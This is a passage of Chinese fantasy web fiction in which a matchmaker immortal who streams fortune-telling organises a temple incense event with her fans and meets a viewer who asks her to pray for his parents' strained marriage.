这不,直播一开,粉丝和老观众们就开始在弹幕上刷了起来。 【你到底说不说:强烈建议小莺也在线上办一下抽奖活动!】 【你到底说不说:实在不行,就线下多办几场也可以,我也想要红线啊啊啊——】 【骂谁二次元呢:咋回事咋回事,几天不见,你们就都想谈恋爱了吗,要红线嘛呢!不谈起开啊,别耽误我收集小莺宝的周边!】 【骂谁二次元呢:听说小莺办活动是上香可以拥有抽奖机会,那线上办,我们可以发上香的照片视频做凭证!】 【加班加到死:说的有理,线上线下办都行,大家都是观众,机会要平均嘛。】 【履行摸鱼职责:嘿嘿嘿嘿线下见过小莺,已经打败99.99%的同担!】 【履行摸鱼职责:但我没拿到红线!所以!我也支持开活动!小莺看看我们啊啊啊】 【晚间生物:线上办比较省事,但就是还得邮寄,很麻烦,而且很难保证大家是不是真的去上香了,万一网上拿了其他人的图,就是纯白嫖了。】 【晚间生物:线下也不错,反正是年末,没准大家就有时间了呢!】 【一只浪迹瓜田的猹:我支持!我都支持!我现在闲得很,可以给小莺做活动的义务工!】 【骂谁二次元呢:我也我也!】 【我真没有QAQ:如果是在首都办,我也可以挤出时间去现场。】 …… 观众们很热情,你一言我一语,没一会儿就把活动在哪办、怎么办、流程怎么样都给盘算好了。 更甚至,线上线下分别该怎么“防伪”,都出了一二三四五个方案。 莺芝哭笑不得。 但也不得不承认,这的确在她今天白天决定要那么做的后续计划里。 人嘛,总是爱凑热闹的,从今天有那么些个人,沿着网络上几张捕风捉影、甚至没有她正脸的照片,就能直接摸到庙里来就能看出来了。 那么她在线下临时起意办一个小小的活动,自然就会被更多的人知道,然后爱凑热闹的大家自然而然就也会生出向往——大家都是观众/粉丝,他们就能有机会,我们为什么不可以? 这甚至和奖品到底是什么无关。 大家所想要的,只不过就是那一份“他有我也要有”的平衡罢了。 不过能进行得这么顺利……倒是莺芝没想过的。 在她原本的工作计划里,她还得在今天的直播里以一种不着痕迹,又很温和的方式来提,省得引起大家反感。 结果现在这才刚开直播呢,她一句话都没说,他们都已经盘算好了。 她真心实意弯起了眼睛:“这些等到今天的三卦结束再说……好久没见大家了,咱们先算卦。” 这面是口非的样子,又引起一波刷礼物的小高潮。 不过莺芝这么一提,被今天热搜填满了大脑的观众们也才后知后觉地想到,对哦,好久没见小莺了—— 之前网上有传言说,她这阵子是去润城了! 弹幕的画风飞快就转了个天翻地覆,基本都在问润城的事件。 莺芝倒也没瞒着。 除了警方交代了不能暴露的细节,整体的走向还是可以说一下的。 她用简短的话语大致描述了一下事情的经过。 “我给华晓识算卦时看出她相亲对象的命格不详,于是和朋友去到了润城。” “在排查对方的过程中,意外在他家院中发现了被藏于水泥的尸体,于是报了警。” “接下来的时间就是在配合警方的调查——这件事现在还没有具体的定论,大家不要多谈,等候官方调查即可。” 虽然简单,来龙去脉却也清晰,极大程度满足了网友们的好奇心。 大部分人都很懂事,听到这里就足够了,也不再多问,转而夸起了莺芝敬业、勇敢。 为了找到她算卦的“信徒”,连这种人都敢去调查。 实乃我辈楷模! 莺芝不由莞尔,不动声色把话题揭了过去。 没什么波澜的三卦算完,赶着直播结束前的空挡,莺芝重新提起了活动。 和观众们讨论了一会儿,最终的策划出炉。 线下线上都办,线下先在相对最热闹的首都举行,到时候直播也会移到活动时进行,当天的三卦都归属线下观众。 和惠恩庙不同的是,这次会特别开放一个名额,给到到场的老观众。 这下,粉丝群里热闹翻了。 ——不知道是不是太黑了,从小莺直播开始当天就成为粉丝的他们,从来没抢到过名额。 大家的热情全都转移到了谁才能成为他们之中的幸运儿、被小莺眷顾的第一位老观众。 绝大多数老粉们都开始规划行程,看看当天能不能到场。 太期待了! 第64章 我的工作狂女宝 新活动的规划,莺芝没有再找文隽。 上次是因为“联动”了惠恩庙、也就是“隶属”送子殿的庙宇,所以她才想到找文隽帮忙。 这次嘛,她已经在凡间生活了这么久,也没少做相关的事,早就熟门熟路了,完全不需要再麻烦他。 而且最近赵晓婉那事儿,又是托城隍借日志又是探查现场做笔录的,着实欠了他好 大一个人情。 人情债欠了太多了,也没什么还的好途径,再欠、她自己都觉得过意不去了。 所以这一回,莺芝自己拾掇拾掇就上路了。 她当下居住的城市,虽然不是首都,但也是首都附近一个人口聚集较多的大城市,离首都不过一会儿的车程。 第二天一早,莺芝乘坐上去往首都的列车,不过半天时间就已经身在首都了。 昨晚和观众们约定好要做活动后,粉丝们热情异常,当即就招呼着拉了个“小月老添香活动(第一次版)”的群聊,莺芝没用自己的账号大摇大摆加入,进群的是红线小人拿捏着的小号,为的是搜集大家们的意愿和建议。 一人一线列出了几个被大家重点推荐的庙宇,又额外在网络上查找了一下相关的资料,先后给几座庙宇放出来的联系方式发去了带有合作意向的信息。 有几家回应得很快,第二天一早就发来了答复,邀请莺芝过去详谈。 莺芝依照定好的时间顺序,准备先后拜访这些庙宇——实地考察一下。 第一家—— 莺芝在一扇漆红的大门前驻足,仰头看向上方的匾额。 【娘娘庙】 庙宇大门边上,立着两张现代化的广告立牌,上书庙宇的由来和简介,以及入庙参观的要求和规章。 据它给出的信息说,这里供奉的是一位观音娘娘,最初起源于古代某某朝的某座山间庙宇,向来就以祈求姻缘灵验出名。 感受了一下匾额上依稀残存的仙力痕迹,莺芝不着痕迹地点了点头,心中满意。 确实是灵验过的,而且这里的香火……很不错。 最起码,在她之前去过的那些庙宇里,供给姻缘殿的香火都不如这里。 ——当然了,这要归功于粉丝和观众们的眼光。 作为直播间的铁粉,他们那可是相当“毒唯”的。 推荐筛选庙宇时,最大的前提和要求就是:必须是姻缘庙!且得是只供月老或者红线娘娘等一干姻缘仙的! 借其中一位观众的发言来说,那就是: 【我们都是去给小莺添业绩的,去到还供着别神的庙算什么?给小莺和姻缘殿的,必须是纯洁忠贞无垢不被其他神仙沾染的香火!】 虽然有点夸张,但话怪理不怪。 莺芝被这些发言说得就很是舒坦。 下凡这么久,她一开始选择选用直播这种方式,为的就是推广姻缘殿的影响,但在给人们算卦时,却每每受挫,不管是帮忙断了孽缘也好还是其他,对方基本都不愿意再相信世间有真情,搞得她也有点沮丧,还以为选错了路,或者哪里出了岔子,才导致这一结果。 一直到现在……她总算感受到了自己直播带来的好处。 不管大家是不是真的完全百分百的信任姻缘殿,就目前来看,信任她的确实有不少。 而且因为有她在的缘故,也有更多的人开始愿意接受姻缘殿的庙宇,更多的年轻人愿意尝试去了解——这就是个好的开端。 无形之中,莺芝观念也变了不少,从一开始执着于给大家定正缘,让大家相信真情,到了现在、能够有越来越多的人愿意关注到各大姻缘庙,哪怕是来拜财神的时候顺手给上一炷香呢,都行,都是好事! 这也算另一种“因时/地制宜”了。 结合凡间的现状,目标也得切合实际才行。 而这么看,她现在的工作成果已经初见成效了,虽然还没有太多实质的业绩,但迟早会有的。 回忆了一番,踏入娘娘庙的时候,莺芝眼底都是带着笑的。 之后的参观和商谈也很顺利,双方聊完大致的条件,莺芝给出“明天会给你们答案”的回应后,离开了娘娘庙。 接下来还是一样的流程。 随着越来越多的庙宇给出她回应,莺芝这一整天都很充实,一直在路上,和各家庙观庵寺商讨合作。 虽然忙碌,但由于基本都是在各种姻缘殿的附属庙宇打转,莺芝精神头好得那叫一个不得了,一直到了晚上都不见丝毫疲态。 晚上,在临时定下的酒店中,莺芝和红线小人筛选了一遍今天看过的庙宇,定下了其中一家场地相对较大、齐备神像大香炉姻缘桥祈愿树等几大元素的庙,当即就给联系人发去回应,定下了合作。 今天她们所去到的庙里,有另外一家其实地方更大,各方面硬件设施也要更好一点。 但他们在门口的规章上写: 入内参拜需要着装得体,不得穿吊带、短裤、拖鞋等;不得带墨镜;女性不得穿短裙;禁止拍照;不尊仙神。 不等莺芝说什么,红线小人就已经十分嫌弃地把这家什么寺给划去了。 什么年代了,不尊仙神是体现在这种方式吗? 写个不得刻意暴露、不得裸奔就可以了,吊带短裤短裙又怎么了,神仙们也没少穿呢,到底是满足自己内心无形的人上人欲控制欲还是什么刻板……懒得管,反正排除掉! 晚上的直播照常进行。 观众们一眼就认出莺芝不在她的房间里了,非常兴奋地问是不是有进展了。 莺芝也没隐瞒,三卦完成后,就和大家说起了这件事,把活动的场所和观众们宣布了一下。 在这之后,到活动开始前的时间里,她当然是不会再大摇大摆去庙里了。 观众们抱着极大的热情前来参加这次的“添香活动”,莺芝也不打算让他们太失望,除了原定要拿出的红线以外,她还准备再设置一些其他的“伴手礼”。 于是她回了天庭一趟。 回到姻缘殿,莺芝挥挥手就招来了大片小鸟小人儿,一同开始了制作伴手礼的环节。 她支出了一部分最近收来的香火,转成功德,去某座山上兑换购买了几枝常人手臂粗的仙木,又找到之前打工仔时期认识的小仙,从对方手中入了几块石材,这才停下了购买。 仙木削制成祈愿木牌,仙石打刻成姻缘锁,虽说材料不是姻缘殿出品、在姻缘方面远比不上红线,但好歹是由姻缘殿仙灵经手制作的,多少也带了点效果。 而且仙木仙石材质都极佳,于凡尘而言,几乎可以算得上是“坚硬如铁”了——可不正适合做真情的见证物? 处理这些事的同时,莺芝也没忘了去财神殿走一遭。 财神殿恢弘的大门前,负责值守站岗的小神君听完莺芝的来意,微微一怔。 “上仙是要找朱顶仙君?” 莺芝现在是姻缘殿的主事,不管各殿的实际权利和地位怎么样,但在位阶上,她和财神殿的主事是等同的,其余小仙君自然要称她一句上仙。 但朱顶在财神殿里,也没什么特殊的职位,就是很寻常的一位理事仙君。 姻缘殿的主事来找他们财神殿的一个普通仙君…… 朱顶仙君难道有心寻找道侣了? 还是朱顶仙君牵扯到了什么不得了的事里…… “是的,我找朱顶。”莺芝颔首,重复了一下诉求,“有些事情需要找她,她现在不方便吗?” “不,不是的。”小仙君连忙摇头,“临近年末,各处分殿事务都有了十数倍的增长,殿里的仙君被派出去了十之八九,朱顶仙君也在其中,现如今正在南海区域某分殿处理事务,不在殿中。” 十数倍的增长…… 莺芝勉力压住心里的酸溜溜,控制着表情,一派高人模样地点了点头。 “我知道了。” “——上仙可是有什么要紧事?我可以代为转达。” 小仙君紧张兮兮又小心翼翼地提问。 莺芝温和一笑 :“没什么要紧事,不过受人所托,来寻朱顶仙君一见。既然她身陷繁务,就还是不要打扰她了。” 小仙君连忙点头:“上仙体谅!” 体谅,能不体谅吗——为了工作焦头烂额,那也是她的过往啊……不过现在倒成了想要也要不来的愿景,唉。 离开财神殿大门时,莺芝忍不住又回头打量了一下那金光闪闪金碧辉煌金玉满堂的殿门头。 羡慕.jpg 回到姻缘殿,莺芝被财神殿金迷纸醉的富贵给激荡起波澜的心情已经差不多平复了。 她在一片闹哄哄忙碌着做伴手礼的鸟雀红线中坐回自己的位置,却见到案桌上多出了一封文书。 正在做监工的红线小人飘到莺芝身边,主动解释道:“这是刚刚文曲殿仙君送来的,说是年底各殿工作考核的通知。” 莺芝正要翻开文书的手顿时一僵。 文曲殿,原来只是一个司掌凡间文才科甲的殿,和武曲殿文昌殿等分司同一个职能大分支下的不同方向。 后来天庭大整,说要“清除冗官”“精简岗位”,把大大小小的殿部裁撤的裁撤、合并的合并,文曲殿和武曲殿文昌殿等职能虽不相同但也相近一系列殿合而为一,组成了个崭新的部门,也就是如今的文曲殿。 文曲殿现司掌天下文运、仕途、前程等等等等内容,项目繁多,反正莺芝是说不全的。 要知道,就连经商之人,一般在拜了财神后,也都会再拜一拜这边,因为商途是否顺利其实也归属于“前程”—— 其他的就更不必提了,凡间的学子们求学业顺遂,工作党们求前程顺遂,搞文学的求文华亨通……考试、事业,官场职场,凡是一切凡俗意义上可以称之为“成功”的东西,现在都归这个殿管。 至于为什么最终选用了“文曲”作为招牌,而不是什么武曲文昌……这就不是莺芝能知道的了。 她只是在不知道多少年前偶然听说一点点小八卦,说是当时各殿主事们一起打了个赌,然后当时的文曲殿主事赢了。 咳—— 大佬们的事,不可说,不可说。 不过对于莺芝而言,这个殿的可怕还于,不管她在哪里、做什么工作,一到年末,就会受到来自文曲殿的无情考核。 是的,文曲殿还掌管着天庭各部门一年工作的考核,包括且不限于工作态度、工作质量、还有最重要的——业绩。 顺利通过、并被评价为优,可以高高兴兴拿到上司发的红包过年;通过、但拿不到优,只有一个平,那今年就算白搭了;而要是通不过……后果太可怕,不敢想象。 而现在,她上任姻缘殿主事的第一年…… 业绩还没什么显著气色的现在、年终考核就要来了!! 这就要开始了? 这么快? 好歹等她再多努力一下…… 最起码等这波线上线下的“添香(火)活动”过去再说啊! 红线小人摇头晃脑:“那位仙君说,文曲殿现在忙碌,所以今年的年终考察顺序是,先紧着去年年终评比中排位靠前的部门,他让我们稍安勿躁,耐着性子多等一些时日,顺便表达了一下来自文曲殿的歉意,让我们多多谅解。” 莺芝怔住,旋即飞快打开那封文曲殿发来的通告文书,仔仔细细从头看到尾。 短暂的吃惊过后,她脸上的笑压都压不住了。 竟然是真的。 这是什么天降好运!!! 看来天道都不忍心看姻缘殿没落。 想到红线小人转述的话,莺芝抿嘴强行按住高兴——还要什么谅解啊,感谢你们文曲殿还来不及! “快快,抓紧时间做完,活动赶紧办!” 现在是得抓紧一切时间,快快干活。 和以工作效率出名的文曲殿、比拼工作效率的时候到了! 接下来,莺芝又抽空去找了一趟之前认识的在织女殿工作的小伙伴,花自己的功德订了一件符合凡间对月老印象的红白相间的裙裳。 其余的时间,她也加入到了制作伴手礼的环节中。 卡着天庭凡间来往的冷却期,莺芝没有浪费丁点的辰光,飞速下了凡。 虽然她着急办活动,也不能太赶,毕竟要给出观众和粉丝们周转行程的时间——但现在,距离当初第一次提起这件事,也已经过去四五天了。 原本预定的活动开办时间,也就是在两天后。 这两天里,莺芝总算是现身了活动的庙宇,跟庙里沟通着进一步落实了准备。 她的出现,引来不少本就住在附近、时不时就晃悠过来看两眼的观众们围观。 莺芝均是一一笑着应对,卦虽然不算,但对合影什么的一概不拒,友好又亲和。 庙里的工作人员在跟着莺芝干了一天多之后,也忍不住在社交平台上偷偷感慨,此女子真乃奇人也,任劳任怨搬东西布置场地做杂活碎活、一整天下来第二天还能生龙活虎,没一点累和不耐烦的感觉。 明明、明明这么一通活动办下来,她几乎是分文不取,也得不到任何好处。 ……得到好处最多的,也就是红线娘娘神像前那个大香炉坛子吧! 所以这位工作人员在社交账号上单方面给莺芝盖了个章,认定了“她是真的热爱月老热爱当红娘”——太尽职尽责了。 工作人员的账号是个人用的账号,平时也就发发生活内容,互相关注的都是朋友,没什么粉丝。 平时发动态也习惯了,tag随便加,也算给自己的动态多了点“目录”,反正也不会有什么路人看,所以她这条动态加了莺芝相关的tag,还加了一点新活动的相关。 谁承想,就这么几个tag,她这条动态直接爆了。 大字标红,直接挂了个写着“爆”的火苗,被水灵灵推到了无数人的首页。 一晚上过去,评论2000+,收藏5000+,转发2000+,点赞3w+,浏览更是不计其数。 而且这动态被人截图发到另外的平台,很快又爬上了同城热搜的尾巴,引起了更多人的讨论。 工作人员一觉醒来打开手机直接就是一整个震惊加茫然,有那么一瞬间差点以为自己被网暴了。 她平时发动态,加上朋友们嘻嘻哈哈的互动,也不过只有十几个点赞,二十几个评论,收藏直接就是0……什么时候见过这世面? 这到底是什么情况? 等她粗略看完评论,总算明白了,但又有了新的不明白。 ……这全都在“哈哈哈哈”小莺的,是几个意思? “果然是她”? “不愧是她”? ——还有那些转发里说“我就说她是真的吧!”,又是几个意思? “快看!我推的女神和她的神仙”? “我的工作狂女宝”? 最后,那么多人收藏她这个动态,收藏啥? 收藏她吐槽小莺热爱当月老热爱当红娘? 这届网友要不要这么癫啊! 当然了,呼朋唤友喊着来庙里赶活动的,她作为庙里的工作人员,举双手双脚大欢迎。 老大说了,活动结束会给他们按照总收入发红包的! 这还得多谢小莺,到时候请她吃顿—— 嗯…… 她好像不热衷于吃喝。 那算了,到时候也自费换点香,给娘娘添点吧。 莺芝对网上这些事不怎么关心,她全身心都投在了当下的工作中,但有红线小人在,每一桩的热点事件她也基本都不会错过就是了。 对于有关自己的话题又无形中小小火了一下,莺芝乐见其成。 现在关头紧要,能多一点是一点,这都是加大年终考核时脱出倒三的希望! 活动当日,莺芝早早起床,梳妆更衣。 今天的直播小助手是庙里出的工作人员,好巧不巧,正是先前在社交平台上发布了关于莺芝动态的那一位。今天一整天,她都会跟着莺芝,做莺芝的助手。 虽然庙里也很奇怪于她这样的大主播,怎么会出门就只有自己,但见莺芝这些天里自己一个人也能把事情做得井井有条,便也都压下疑惑不 谈了。 人家都不要钱做报酬,估计平时生活也完全是这种风格,收入全砸给月老了,没钱雇团队吧,说来也怪虔诚的。 在莺芝走出房门时,那位临时小助理也打着哈欠走了过来。 两人相遇的一瞬间,对方一个激灵,彻底清醒过来。 “小莺,你今天好漂亮啊……真的有仙女的味儿了。” 莺芝温和地笑了笑,把平时用来直播的手机递给了她。 小助理精神一整,郑重其事接过手机,进入了工作状态。 红线直播间今天开启得格外早。 许多人都还在梦里时,莺芝已经出现在直播间里,带领观众和她一起进行今天的一切流程了。 起先是吃饭。 莺芝吃的是庙里准备的餐食,很朴实,简单的素饼子,豆浆,外加一点青菜炒鸡蛋,还有一些咸菜丁。 她吃得慢条斯理的,直播间一些早起的观众们则都已经热烈地聊起了天。 从莺芝今天的穿着打扮、到她吃的饭,再到自己已经起床/在车上、在去庙里的路上了云云,有人的地方,总有热闹。 简单的早饭吃完,时间刚刚过六点半几分钟。 莺芝帮忙整理了一下餐具,而后起身离开食堂,走向外边。 她简单带着观众走过一遍祈愿树姻缘桥,又分别介绍了一下两处设置的活动长案。 “这些是姻缘锁,和方才在祈愿树那里看到的木牌一样,都是我专门提供的,拥有一定的增强姻缘的效果,更重要的是,它们使用了特别的材料制作,很坚固,是见证姻缘的不二选择。” “和倾慕对象一起到此,回答完默契问题,可获得姻缘锁一枚,系在姻缘桥上——这一样是只有双人才可获得,但刚才的姻缘木牌则是单人即可。” “完成几个趣味小问答,便可获得木牌。在木牌上写下对某人的倾慕或心愿,挂上祈愿树,心愿即有可能达成,若二人相合,想必红线娘娘也会帮各位牵线、促成这段缘的。” 时间还早,观看直播的人虽然有,却终究比平时少了太多,莺芝却也没怠慢,一点点介绍了一遍,又继续往门口走。 等之后,人多起来时,这里就不归她介绍了,自有庙里的工作人员来维持秩序。 “今天的活动中,我会在红线娘娘前,和各位一起为娘娘添香。” 也就是说,她今天的活动范围,在红线娘娘神像主殿那边。 不管是合影还是什么,都去那里找她。 而且最后的红线抽取,也是在那边进行的。 差不多把庙给逛了一圈,莺芝走到前门,准备换个方向从另一边转回。 差不多快到七点了,庙里六点半开门,已经稀稀落落开始有人前来。 这件庙宇坐落于首都相对比较热闹、居民较多的大区,附近也有许多居民小区,居住在附近的人时不时都会过来逛逛,所以才能保持这么久经营不衰,还有固定的香火留存。 而本身不是莺芝粉丝,没看过莺芝直播、居住在附近的普通香客们,因着这几天庙里配合的造势,也都知道了今天要有活动——平时就偶尔会过来转转的一些大爷大妈们,今儿个也都不约而同到这儿来了。 此时此刻到这里来的香客们,大多都是上了年纪的,只有极个别那么一两个是年轻面孔。 显然,基本都不是莺芝的粉丝。 不过莺芝的视线却在扫过三两结伴、有说有笑进行锻炼活动的香客们时,忽然在某处顿住。 那是一个年轻人。 一个穿着西装衬衣,脚踩皮鞋,仪容仪表打理整洁干净,相当具有内敛气质,沉稳斯文的年轻男人。 他刚走进庙宇大门,一手提着一个小纸袋、手指上还挂着杯咖啡,另手则拿着一张五颜六色的宣传页,他正看着宣传页上的内容。 那个小纸袋是附近某个连锁早餐店外带食品的包装,莺芝认得,因为昨天她的临时小助理还拿着香客丢下的纸袋吐槽了一下,说太不实惠了、咖啡袋子上的logo莺芝也眼熟,是某个相当广为人知的品牌标志,至于宣传页…… 嗯,这个和他气质格格不入的东西,是庙里的东西。 在门口的咨询处放着,给新来的陌生香客们准备的庙宇详情介绍及庙内“特色”一览,据说好几年前印的,到现在还没发完。 莺芝之所以留意到他,不止是因为他和此时庙里其他人完全不同的气质,也不是因为他眼下这么一个矛盾又突兀的搭配,而是他身上若有若无的一股气息。 是她仅凭肉眼去感知,都差点很难察觉到的一股气息。 如果不是正好因为这里是姻缘殿的附属庙宇,是她的大本营,她也差点要忽略那股让她本能有点想要蹙眉的存在。 莺芝定定看了他片刻,正要转开视线,男人却忽然抬起了眼睛,望向了这边。 莺芝轻咦,她的注视即便不加收敛,普通凡人也很难察觉,因为凡俗人多,不是谁都对视线那么敏感的。 男人却已经面现喜意,提步朝莺芝的方向走了过来。 莺芝便也不走了,微笑着等待对方的到来。 很快,男人走到近前。 和之前遇到的大学生男孩、摄影师男都不大一样,此人脸上虽然带着明显的喜悦,态度却很矜持内敛,把握着恰到好处的距离,礼貌地对莺芝打招呼。 “你好小莺,很高兴见到你,我是QAQ。” 莺芝微微一怔。 扣哎扣? 这是谁? 第65章 父母 男人介绍自己时,眼底有不自在一闪而过,估计是也觉得自己的名字有点不入台面。 但他没想到的是,莺芝竟然一点没觉得哪里不对,甚至神情都没有丝毫波动,淡定地一点头: “你好,扣哎扣。” 【骂谁二次元呢:蛙趣,蛙趣蛙趣,这是QAQ?】 【骂谁二次元呢:我刚起床准备出发,没想到一拿手机小莺已经开播了,太勤奋了,但是QAQ老哥你为啥也这么勤奋?】 【骂谁二次元呢:不行,我还是难以接受,这么个画风跟我相近的名字,怎么会是这样形象的一个人!!你是谁!你被QAQ老哥夺舍了吗?】 【你到底说不说:这是QAQ……这是QAQ?!】 【你到底说不说:我们狂热级玄学爱好者,竟然是这种CBD高级写字楼里每天手拿咖啡来去如风的精英画风?这对吗?啊?】 …… 眼下直播间里观众比平时少了太多,弹幕的流速也相对要慢很多,一些熟面孔们就直接在这里进行无障碍聊天互动了。 站在莺芝面前的男人,正是直播间里ID叫做“我真没有QAQ”的观众。 平时莺芝的直播,他基本没有缺席过,每每关注到的点和别人也不大一样,更在意玄学方面的内容。 不过此时,他人都已经出现在了这里,当然是没有再挂在直播间里了,自然也看不到这些熟人们的争议和讨论。 但他看了一眼莺芝身边不远、拿着手机的小助理,好像心有所感似地微微一顿,旋即便很自如地解释了起来。 “名字是当时上大学时,室友胡闹给起的,我也不在意这些,就一直用着了,不是我本意。如果有需要,我姓万。” 莺芝有点摸不着头脑。 名字怎么了,是说扣哎扣太奇怪了吗? 那确实有点奇怪。 但也没必要跟她解释吧? 她只是主播,又不是他的朋友亲人。管不着他叫什么呀。 莺芝摸不着头脑但配合,淡定地一点 头:“如此。” 她云淡风轻,八风不动,完全一副高人模样,男人也微微笑了起来,似乎很满意。 不过既然是冲着莺芝来的,他当然不会就满足于只打个招呼。 单手把宣传页折叠成一个小方块塞进外套内里的口袋,又自带着的包里拿出一张名片递给莺芝,男人神情自若: “这是我的名片——我今天来得不算晚,小莺现在应该不忙吧?要不要一起吃个早餐。” 他扬了扬手里的咖啡和早点。 虽然是向第一次见面的异性提议一起吃饭,但这种大部分时候都会显得非常不合规矩的自来熟举动,被他展现出来,态度却一点也不让人觉得轻佻,熟稔中带了一种随和,社交之间的度把握得相当有水准。 莺芝看了一眼名片。 万措。 什么什么公司的特级助理。 果然是个还算成功的成功人士。 她礼貌地收起名片,温声拒绝:“我吃过了。” 随后又微微偏头,朝着手机的方向落了一眼,以作示意:“我今天的工作已经开始了。” 万措理解地笑了笑,退了一步:“那这里有什么可以让我坐下吃饭、不打扰别人的去处吗?” 莺芝对临时小助理一点头,小助理便开口接过话,给他指了个方向:“可以去我们食堂。沿着这条小路一直走到头,朝左拐进走廊,往前走几个房间就到了,门口有立牌子。” 万措礼貌道谢,和莺芝告别。 “稍后我会在庙里逛一逛,上香后是在哪里找你?” “娘娘殿前。”莺芝道,“抽奖也在那处,另外庙中还设有姻缘桥和祈愿树,也值得一观。” “好。”万措颔首,“那晚些时候见。” 【骂谁二次元呢:笑死我了,感觉QAQ老哥就差直接把“我想找你交流玄学”给说出来了,小莺给他介绍那么多干嘛,他一点也不感兴趣的!】 【履行摸鱼职责:啊啊啊QAQ已经到了?我也马上到了,小莺等我!今天我势必要拿下这一卦!】 【你到底说不说:摸鱼,二次元,等我,我也要出发了。】 【你到底说不说:拿不拿的下卦就听天由命了,但祈愿木牌和姻缘锁我是一定要的!】 【你到底说不说:摸鱼,别忘了说好的,我们组队去拿锁!我们也是真爱!】 …… 回娘娘殿的路上,小助理看到弹幕的消息,眉毛一皱,小心地喊了莺芝一下,示意她也看。 ——自己可是看了半天了,这两个都是女孩子,又是为了要个“周边”临时凑对,这样装情侣来参加双人活动……岂不是钻规则的空子了? 这是可以的吗? 莺芝看向屏幕,注意力却不在她们几个的盘算上,而是随着小助理往上翻动的动作瞄见了万措的ID。 原来扣哎扣是写作“QAQ”,是他啊—— 莺芝对这人还是有印象的。 毕竟都是从她第一天开播时就留下的观众,又非常活跃,不可能没一点印象。 她记得,这人好像对怎么算卦很感兴趣。 他身上那股不明的气息…… 莺芝整理着脑海中的思绪,对小助理摆了摆手,示意没关系,她们愿意怎么玩就怎么玩,开心就行了。 两人一前一后结伴走回了娘娘庙,在预先布置好的位置安置了下来。 莺芝坐在位置上,一边做着自己的事,在本子上写写画画,一边有一搭没一搭回答着直播间观众们的提问,和他们互动着。 她的面前也摆了一台挂在直播间的手机,给她观看弹幕用。 不大一会儿光景,太阳爬高,庙里也渐渐热闹了起来。 一些香客们三三两两入内,或闲逛或目的明确直接就是来上香的,年轻人的面孔也越来越多。 万措也吃完早饭,重新出现在了这里。他手里拿了几支香,还有一块木牌。 这是去祈愿树那里完成活动内容,取来了木牌? 莺芝对这名观众的水平又一次有了新的认识。 祈愿树那边的活动,虽说是回答完几个问题就可以了,不算太难,但她之前没说的是,给的几个问题层次不同,回答完拿到的木牌也不同。 全部回答出来,但回答的不对,也能有木牌,但木牌却是最简单的款式;只有全部回答出来、且都回答正确了,才能拿到这样一块最精致的木牌。 最高难度的那几个问题,都是庙里大家奇思妙想,共同设置的,放了不少什么高等数学什么外国语相关的。 莺芝不大懂,但他们都拍胸脯保证了,说绝对“够劲儿”,只有少数人才能很快做出来。 ——现下人还没来几个呢,万措就已经拿到了。 他就是那“少数人”? 万措当然不知道莺芝的想法,他步子均匀,四平八稳地走到了莺芝面前,笑道: “木牌先在这里寄放一下,我去烧过香再来取。” 莺芝颔首默允,没出声。 等他在娘娘殿前的大香炉中引香燃起,之后走进大殿,莺芝也微微闭上眼,有意识地调动起与此处神像的通感。 “……不知道您是不是真的存在……在此祈求……” 和神像通感后,莺芝便能够听到断断续续的声音,不是常人交谈时的那种声音,而是更接近于自言自语的心声。 随着通感加深,声音也渐渐清晰。 “请保佑我父母的婚姻,让他们不要再生矛盾,尽量和平地白头到老。” “祈愿者,万措。” 声音消失,莺芝也断开了通感,睁开眼。 几个呼吸之后,万措从娘娘殿走出。 他神色如常,看不出什么情绪,笑着走向了莺芝,取走自己的木牌。 因着先前那股莫名的气息,莺芝有意关注他,再加上刚才听到祈愿,便在对方拿起木牌时,主动开口道: “此处备有笔墨,要在这里写吗?” 万措微怔,旋即笑开:“那当然好了,多谢。” 他在莺芝桌前的长椅一侧坐下,提起莺芝推过去的毛笔,蘸了一些墨,却没有在第一时刻落下。 “要为自己求姻缘吗?” 莺芝适时发问,万措笑道:“不,我想为我父母求,但不知道是否合规矩,所以有点犹豫该怎么措辞。” 说到这儿,他干脆放下了笔,看向莺芝:“你是行家,可以给我一些建议吗?” “自然。” 莺芝点头,微一沉吟,继而道:“你介意大致说一说你父母的情况吗?” 万措笑道:“自然不介意。我原本就想让你帮忙算一卦的,如今你肯为我解惑,那无论这一卦的机会能不能落到我身上,我都很感谢,也当然会全权配合。” 莺芝掌心朝上,做了个洗耳恭听的手势。 “我父母,其实也没有什么好说的。他们就是上辈人中很典型的那一类夫妻,丈夫大男子主义,爱说教,重男轻女,妻子没什么存在感。” “不过我家是深山老林的穷乡僻壤,那里的人观念更为封建,也更落后,女性的地位普遍不会太高,大多数家庭都存在男人把女人当做下人来使唤的情况。 我知道,这都是恶习陋习,可这是千百年的风气,我虽然同情,但一人之力也改变不了什么。” “就连我的父亲,都不肯听我的劝说,我每次去劝,他都一面应得好好的,转头又把怒火朝我母亲发泄过去。” “中学时,我读了一些杂志,认识到了当地的落后和封建,知道了父亲对母亲的态度是不对的,所以劝过母亲和父亲离婚,但母亲没有同意——我那时不懂,现在差不多能够理解了一些。” 万措轻轻叹了口气,可以称得上出色和帅气的一张脸庞上,也带上了些怜悯。 “我的母亲本身就不算什么很出色的女性,外表一般,天生苦相,不会说话,性格也孤僻乖张,在周围名声很不好。如果离开了我的父亲,她也没有别的地方可以去,更会受尽冷落和欺辱。 相反,在家里的话,虽然我父亲不是什么良人,但两人也算相濡以沫了这么多年,总归有点感情,比离婚要好。而且还有我和妹妹在,我们是世上为数不多会在意她的人了。” “在那之后,我再没有劝过母亲。” “后来我考上了首都的大学,毕业后也直接留在了首都,每年只有过年时回去一次。 父亲很高兴,总是要招呼着摆好几桌宴请附近的亲戚村民,母亲也还是老样子,父亲没少骂她丧气,而且她身体不好,年纪大了就更明显,手脚也不利索了…在宴席上出了错的后果——你应该能想象。” 万措有些回忆之色,又叹息着摇摇头,“每次我回去,连带着我已经嫁人的妹妹都要回来跟着受罪,我不忍看她们受苦,就不再回去。上一次回去,还是两年前。” 他看向莺芝: “他们老夫老妻,磕磕绊绊了一辈子,我知道,于我的母亲而言,我父亲可能就是一个混账,但是她和我 父亲离婚也不实际,我希望她至少能有一个相对舒心的晚年。” “希望她和我父亲的矛盾少一些,父亲能够多包容一些,两个人可以无病无灾,一起老去。” “唉……不知道我这份愿望,算不算得上是奢求,但我确实真心实意,希望他们都好。” 说完,他苦笑着摇了摇头,又对莺芝露出笑容: “这样,我该怎么写这个祈愿木牌?” 直播间里,几个相熟的老观众已经都针对这件事发表起了看法。 【说得含糊,但估计是家庭暴力吧?拳脚+冷暴力+哪哪都看不顺眼的那种。】 【家里天天鸡飞狗跳的,就算不在乎对方,就不能在乎一点孩子吗?】 